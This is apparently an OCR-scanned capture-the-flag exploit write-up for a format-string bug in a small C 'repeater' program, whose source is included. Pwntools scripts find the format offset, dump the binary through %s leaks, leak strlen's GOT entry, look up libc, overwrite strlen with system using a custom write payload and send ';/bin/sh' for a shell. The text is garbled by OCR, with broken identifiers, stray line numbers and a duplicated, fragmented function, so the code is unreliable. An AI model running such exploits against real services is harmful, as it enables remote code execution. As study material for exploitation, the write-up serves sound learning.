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1 #-*- coding:utf-8 —*-

2 from pwn import *

3 from LibcSearcher import LibcSearcher

4 #context.log level='debug'

5 #context (arch = 'i386', os = 'linux', log level='debug')

6 context(arch = 'amd64', os = 'linux', log level='debug')

7 #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 elfFileName = "./stilltest"

9 libcFileName = ""

10ip = "0.0.0.0"
11 port = 10001

12

13 Debug = 1

14 if Debug:

15 io = process (elfFileName)
l6else:

17 io = remote (ip,port)

18

19 # calculate the offset
20 def exec fmt (payload) :

21 io.recvuntil ("\nPlease tell me:")
22 io.sendline (payload)

23 info = io.recvuntil ("\n")

24 return info

25

26

27 auto = FmtStr (exec fmt)

28 offset = auto.offset

29 print "offset is "+ str(offset)
30

31 io.interactive ()

32

33000

34 [*] Found format string offset: 8
35 offset is 8
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1 #! /usr/bin/env python

2 # -*- coding: utf-8 —*-

3

4 from pwn import *

5

6 context.log level = 'debug'#critical/debug
7 p = process("./stilltest")

8 f = open("stilltestbin", "ab+")

9 #f = open("64weiba", "ab+")

10

11 begin = 0x400000

12 offset = 0

131i=0

14 p.recvuntil ('Please tell me:')

15while True:#i<l3:#True:#

16 addr = begin + offset

17 p.sendline ("%10$saabbccddeef" + pé64 (addr))

18 try:

19 #info = p.recv(4)

20 info = p.recvuntil ('aabbccddeef',drop=True) [9:]
21 remain = p.recvrepeat (0.2)#recv the tail to dump in cicle
22 print info.encode ("hex")

23 print len(info)

24 except EOFError:

25 print "offset is " + str(offset)

26 break

27 if len(info)==0:

28 print "info is null"

29 offset += 1

30 f.write("\x00")

31 else:

32 info += "\x00"

33 offset += len(info)

34 f.write (info)

35 f.flush()

36 #1i =1+ 1

37 print "offset is " + str(offset)
38 f.close()

39p.close()
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#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

int main(void) {
//init
setbuf (stdout,0) ;
setbuf (stdin,0) ;
10 setbuf (stderr,0) ;
11 printf ("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
12 printf("So I'll answer whatever you say!\n");

WO W=

14 char buf[257];
15 char format([300];

16 unsigned int lenl = 0;

17 while(1){

18 alarm(3);

19 memset (buf,0,sizeof (char) *257) ;

20 memset (format,0,sizeof (char) *300) ;
21 printf("Please tell me:");

22 read (0,buf,256) ;

23 sprintf (format, "Repeater:$s\n",buf) ;
24 lenl = strlen(format) ;

25 if(lenl > 270){

26 printf("what you input is really long!");
27 exit (0);

28 }

29 printf (format) ;

30 }

31 printf("game over!\n");

32 return 0;

33}
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o use LibcSearcher to find libc
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def antitone fmt payload(offset, writes, numbwritten=0,

config = {
32 : |
'byte': (4, 1, OxFF, 'hh', 8),
'short': (2, 2, OxFFFF, 'h', 16),
'int': (1, 4, OXFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, OxFF, 'hh', 8),
'short': (4, 2, OxFFFF, 'h', 16),
'int': (2, 4, OxFFFFFFFF, '', 32)
}
}
if write size not in ['byte', 'short', 'int']:

log.error ("write size must be 'byte', 'short' or

number, step, mask, formatz, decalage
payload = ""

payload last = ""
for where,what in writes.items():
for 1 in range (0,number*step,step) :
payload last += pack (where+i)

fmtCount 0
payload forward = ""

key toadd = []
key offset fmtCount = []

for where,what in writes.items():
for i in range (0,number) :
current what & mask
if numbwritten & mask <= current:
to add = current - (numbwritten & mask)
else:
to add = (current |

(mask+1)) (numbwri
if to add != 0:

key toadd.append (to_add)

payload forward += "&{}c". format (to_add)
else:

key toadd.append (to_add)
payload forward += "&{}${}n".format (offset +
key offset fmtCount.append (offset + fmtCount
#key formatz.append (formatz)

numbwritten += to add
what >>= decalage
fmtCount += 1

lenl = len(payload forward)

key temp = []

for i in range (len(key offset fmtCount)):
key temp.append (key offset fmtCount[i])
x add = 0
y add = 0
while True:
x add = lenl / 8 + 1
y add = 8 - (lenl % 8)
for i in range(len(key temp)):
key temp[i] = key offset fmtCount[i] + x add
payload temp = ""

for i in range (0,number) :
if key toadd[i] != 0:

write size='byte'):

rint'")

config([context.bits] [write size]

tten & mask)

fmtCount, formatz)
)

payload temp += "%{}c".format (key toadd[i])

payload temp += "g{}S{}n". format (key temp[i]
len2 = len(payload temp)

xchange = y add - (len2 - lenl)

if xchange >= 0:
payload = payload temp + xchange*'a
return payload;

else:
lenl = len2
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#-*- coding:utf-8 —*-

from pwn import *

import time

from LibcSearcher import LibcSearcher
#context.log level='debug'

, formatz)

' + payload last

#context (arch = '1386', os = 'linux', log level='debug')

context (arch = 'amd64', os = 'linux', log level='debug')

#log level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1

if Debug:

io = process ("./stilltest")



13 io = remote('0.0.0.0',10003)

15 def antitone fmt payload(offset, writes, numbwritten=0, write size='byte'):
16 config = {

17 32 : |

18 'byte': (4, 1, OxFF, 'hh', 8),

19 'short': (2, 2, OxFFFF, 'h', 16),

20 'int': (1, 4, OXFFFFFFFF, '', 32)},

21 64 : {

22 'byte': (8, 1, OxFF, 'hh', 8),

23 'short': (4, 2, OxFFFF, 'h', 16),

24 'int': (2, 4, OxFFFFFFFF, '', 32)

25 }

26 }

27

28 if write size not in ['byte', 'short', 'int']:

29 log.error ("write size must be 'byte', 'short' or 'int'")
30

31 number, step, mask, formatz, decalage = config[context.bits][write size]
32

33 payload = ""

34

35 payload last = ""

36 for where,what in writes.items():

37 for 1 in range (0,number*step,step) :

38 payload last += pack (where+i)

39

40 fmtCount = 0

41 payload forward = ""

42

43 key toadd = []

44 key offset fmtCount = []

45

46

47 for where,what in writes.items():

48 for i in range (0,number) :

49 current = what & mask

50 if numbwritten & mask <= current:

51 to add = current - (numbwritten & mask)
52 else:

53 to add = (current | (mask+1)) - (numbwritten & mask)
54

55 if to add != 0:

56 key toadd.append (to_add)

57 payload forward += "&{}c".format (to_add)
58 else:

59 key toadd.append (to_add)

60 payload forward += "${}${}n".format (offset + fmtCount, formatz)
61 key offset fmtCount.append (offset + fmtCount)
62 #key formatz.append (formatz)

63

64 numbwritten += to add

65 what >>= decalage

66 fmtCount += 1

67

68

69 lenl = len(payload forward)

70

71 key temp = []

72 for i in range (len(key offset fmtCount)):

73 key temp.append (key offset fmtCount[i])

74

75 x add = 0

76 y add = 0

77 while True:

78

79 x add = lenl / 8 + 1

80 y add = 8 - (lenl % 8)

81

82 for i in range (len(key temp)) :

83 key temp[i] = key offset fmtCount[i] + x add
84

85 payload temp = ""

86 for i in range (0,number) :

87 if key toadd[i] != 0:

88 payload temp += "&{}c".format (key toadd[i])
89 payload temp += "${}${}n".format (key temp([i], formatz)
90

91 len2 = len (payload temp)

92

93 xchange =y add - (len2 - lenl)

94 if xchange >= 0:

95 payload = payload temp + xchange*'a' + payload last
96 return payload;

97 else:

98 lenl = len2

99 #dump bin can not be loaded

100 #but can analysis

101 offset = 8

102 #step 1 leak the printf got

103 #maybe plt 08048400

104 strlen got = 0x601020

105 strlen leak = "89$s" + "SEND" + p64(strlen got)
106 io.send(strlen leak)

107 io.recvuntil ('Repeater: ')

108 1ibc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
109 print hex(libc strlen)

110 #1ibc printf = u64(io.recv()[8:16])

111 #print hex(libc printf)

112 io.recv()

113

114 #step 2 find the libc



115 1ibc = LibcSearcher ('strlen',libc strlen)

116 libcbase = libc strlen - libc.dump('strlen')

117 system addr = libcbase + libc.dump('system')

118 print hex (system addr)

119 #step 3 cover the address

120

121 payload antitone = antitone fmt payload(8,{strlen got : system addr},write size='short',  numbwritten=9)
122 #payload cover = fmtstr payload(8,{putchar got : system addr},write size='short')
123 io.sendline (payload antitone)

124 io.recv()

125

126 #step 4 get shell

127 #time.sleep (10)

128 io.sendline(";/bin/sh\x00")

129 #io.recv ()

130 print hex (system addr)

131 io.interactive ()
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